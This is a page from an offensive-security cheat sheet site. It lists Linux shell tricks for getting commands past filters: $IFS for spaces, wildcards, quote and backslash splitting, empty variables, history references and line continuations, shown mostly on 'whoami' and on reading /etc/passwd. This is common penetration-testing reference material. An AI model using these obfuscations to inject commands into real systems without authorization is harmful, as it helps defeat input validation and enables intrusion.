pwny.cc
  • Home
  • SO
    • AI
      • Evasion
        • Exercise 1
        • Exercise 2
        • Exercise 3
        • Exercise 4
    • Android
      • adb
      • apktool
      • burp suite
      • dns spoofing
      • frida
      • intent
      • jadx
      • JNI
      • objection
      • tcpdump
      • webview
    • iOS
      • objection
    • Linux
      • Internal Recon
      • Bypasses
      • Network
      • Exfiltration
      • Containers
      • Iptables
    • Windows
      • Internal Recon
      • External Recon
      • Bypasses
      • Network
      • Exfiltration
  • SHELLS
    • Misc
    • Web Shells
    • Reverse Shells
    • Obfuscated Shells
  • WEB ATTACKS
    • Misc
    • Command Injection
    • Cross-Site Scripting (XSS)
      • XSS Tips
      • WAF Bypasses
    • Insecure Direct Object Reference (IDOR)
    • Insecure File Upload
    • Local File Inclusion (LFI)
      • Bypass Techniques
      • LFI to RCE
    • OAuth
    • Open Redirect
      • Open Redirect to XSS
    • Server Side Request Forgery (SSRF)
    • Server Side Template Injection (SSTI)
    • SQL Injection (SQLi)
      • SQLMap
      • MySQL
      • MSSQL
      • Oracle
      • PostgreSQL
    • XML External Entity (XXE)
  • OTHER
    • Cracking
      • Hashcat
      • John the Ripper
    • Sandbox Escape
Powered by GitBook
On this page

Was this helpful?

  1. SO
  2. Linux

Bypasses

Bypass Paths and Forbidden commands

#Bypass space restrictions
cat$IFS/etc/passwd #Equals to cat /etc/passwd

#Bypass with $@
echo $0 #Equals to /bin/sh
echo whoami|$0 #Equals to whoami | /bin/sh

#Bash substitudes
/usr/bin/wh?ami #Equals to /usr/bin/whoami
/usr/bin/wh*ami #Equals to /usr/bin/whoami

#Concatenation
'w'h'o'a'm'i #Equals to whoami
\w\h\o\a\m\i #Equals to whoami

#Uninitialized variables
w${u}h${u}o${u}a${u}m${u}i #Equals to whoami. Used {} to put uninitialized vars between chars
$u/usr$u/bin$u/whoami #Equals to /usr/bin/whoami. Used uninitialized vars without {} before any symbol

#Fake commands
w$(u)h$(u)o$(u)a$(u)m$(u)i #Equals to whoami. Will try to execute "u" 5 times without success
w`u`h`u`o`u`a`u`m`u`i #Equals to whoami. Will try to execute "u" 5 times without success

#Concatenation of strings using history
!-1 #Reference to last command executed. !-2 Reference to the penultimate command executed
mi #Throw an error
whoa #Throw an error
!-1!-2 #Equals to whoami

#Bypass using new lines
w\
h\
o\
a\
m\
i\ #Equals to whoami
PreviousInternal ReconNextNetwork

Last updated 3 years ago

Was this helpful?